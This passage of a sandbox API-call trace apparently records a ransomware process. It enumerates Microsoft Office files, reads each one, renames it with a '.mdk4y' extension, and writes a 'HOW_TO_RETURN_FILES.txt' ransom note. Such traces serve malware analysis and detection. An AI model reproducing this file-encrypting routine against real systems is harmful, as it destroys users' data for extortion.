office\\office14\\1033\\visweb.vsl.mdk4y")) returned 1 [0202.346] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.346] AreFileApisANSI () returned 1 [0202.346] GetACP () returned 0x4e4 [0202.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Vsdir", cchWideChar=5, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VsdirB.VSL", lpUsedDefaultChar=0x37df4c) returned 5 [0202.346] AreFileApisANSI () returned 1 [0202.346] GetACP () returned 0x4e4 [0202.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\⁨j") returned 54 [0202.347] AreFileApisANSI () returned 1 [0202.347] GetACP () returned 0x4e4 [0202.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0202.347] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0202.347] AreFileApisANSI () returned 1 [0202.347] GetACP () returned 0x4e4 [0202.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0202.347] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0202.348] AreFileApisANSI () returned 1 [0202.348] GetACP () returned 0x4e4 [0202.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Visfilem.vsdir", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Visfilem.vsdirr", lpUsedDefaultChar=0x37dec0) returned 14 [0202.348] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0202.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827757900000) returned 1 [0202.349] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x99, lpOverlapped=0x0) returned 1 [0202.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827757900000) returned 1 [0202.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827757900000) returned 1 [0202.350] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.mdk4y")) returned 1 [0202.351] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0202.351] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0202.354] AreFileApisANSI () returned 1 [0202.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0202.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0202.354] GetFileType (hFile=0xd8) returned 0x1 [0202.355] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.355] AreFileApisANSI () returned 1 [0202.355] GetACP () returned 0x4e4 [0202.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VVIEWRES.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VVIEWRES.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0202.355] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827758600000) returned 1 [0202.356] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa3380, lpOverlapped=0x0) returned 1 [0202.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827764100000) returned 1 [0202.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827764100000) returned 1 [0202.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.mdk4y")) returned 1 [0202.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.418] AreFileApisANSI () returned 1 [0202.418] GetACP () returned 0x4e4 [0202.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WDALLLNK.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WDALLLNK.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0202.418] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827764900000) returned 1 [0202.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x794, lpOverlapped=0x0) returned 1 [0202.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827765000000) returned 1 [0202.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827765000000) returned 1 [0202.421] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.mdk4y")) returned 1 [0202.421] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.421] AreFileApisANSI () returned 1 [0202.421] GetACP () returned 0x4e4 [0202.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WDCMPVRD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WDCMPVRD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0202.422] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827765300000) returned 1 [0202.423] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x579, lpOverlapped=0x0) returned 1 [0202.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827779600000) returned 1 [0202.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827779600000) returned 1 [0202.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.mdk4y")) returned 1 [0202.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.568] AreFileApisANSI () returned 1 [0202.568] GetACP () returned 0x4e4 [0202.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WDERRLNK.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WDERRLNK.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0202.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827779900000) returned 1 [0202.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x722, lpOverlapped=0x0) returned 1 [0202.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827782100000) returned 1 [0202.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827782100000) returned 1 [0202.592] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.mdk4y")) returned 1 [0202.593] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.593] AreFileApisANSI () returned 1 [0202.593] GetACP () returned 0x4e4 [0202.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.DEV.HXS", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.DEV.HXS.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0202.593] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827782700000) returned 1 [0202.597] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0202.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827785900000) returned 1 [0202.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827785900000) returned 1 [0202.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.mdk4y")) returned 1 [0202.655] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.655] AreFileApisANSI () returned 1 [0202.655] GetACP () returned 0x4e4 [0202.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.DEV_COL.HXC", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.DEV_COL.HXC", lpUsedDefaultChar=0x37df4c) returned 19 [0202.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827788500000) returned 1 [0202.655] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28b, lpOverlapped=0x0) returned 1 [0202.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827788700000) returned 1 [0202.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827788700000) returned 1 [0202.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.mdk4y")) returned 1 [0202.658] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.658] AreFileApisANSI () returned 1 [0202.658] GetACP () returned 0x4e4 [0202.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.DEV_COL.HXT", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 19 [0202.658] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827788900000) returned 1 [0202.659] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd3, lpOverlapped=0x0) returned 1 [0202.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789000000) returned 1 [0202.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789000000) returned 1 [0202.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.mdk4y")) returned 1 [0202.661] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.662] AreFileApisANSI () returned 1 [0202.662] GetACP () returned 0x4e4 [0202.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.DEV_F_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.DEV_F_COL.HXKL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0202.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789500000) returned 1 [0202.665] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789600000) returned 1 [0202.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789600000) returned 1 [0202.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.mdk4y")) returned 1 [0202.667] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.667] AreFileApisANSI () returned 1 [0202.667] GetACP () returned 0x4e4 [0202.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.DEV_K_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0202.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789900000) returned 1 [0202.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789900000) returned 1 [0202.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827789900000) returned 1 [0202.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.mdk4y")) returned 1 [0202.671] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.671] AreFileApisANSI () returned 1 [0202.671] GetACP () returned 0x4e4 [0202.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ.HXS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0202.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827790300000) returned 1 [0202.673] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0202.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827806600000) returned 1 [0202.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827806600000) returned 1 [0202.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.mdk4y")) returned 1 [0202.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.855] AreFileApisANSI () returned 1 [0202.855] GetACP () returned 0x4e4 [0202.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ_COL.HXC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0202.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827808600000) returned 1 [0202.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x277, lpOverlapped=0x0) returned 1 [0202.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809000000) returned 1 [0202.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809000000) returned 1 [0202.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.mdk4y")) returned 1 [0202.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.862] AreFileApisANSI () returned 1 [0202.862] GetACP () returned 0x4e4 [0202.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ_COL.HXT", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 15 [0202.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809300000) returned 1 [0202.864] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf, lpOverlapped=0x0) returned 1 [0202.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809400000) returned 1 [0202.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 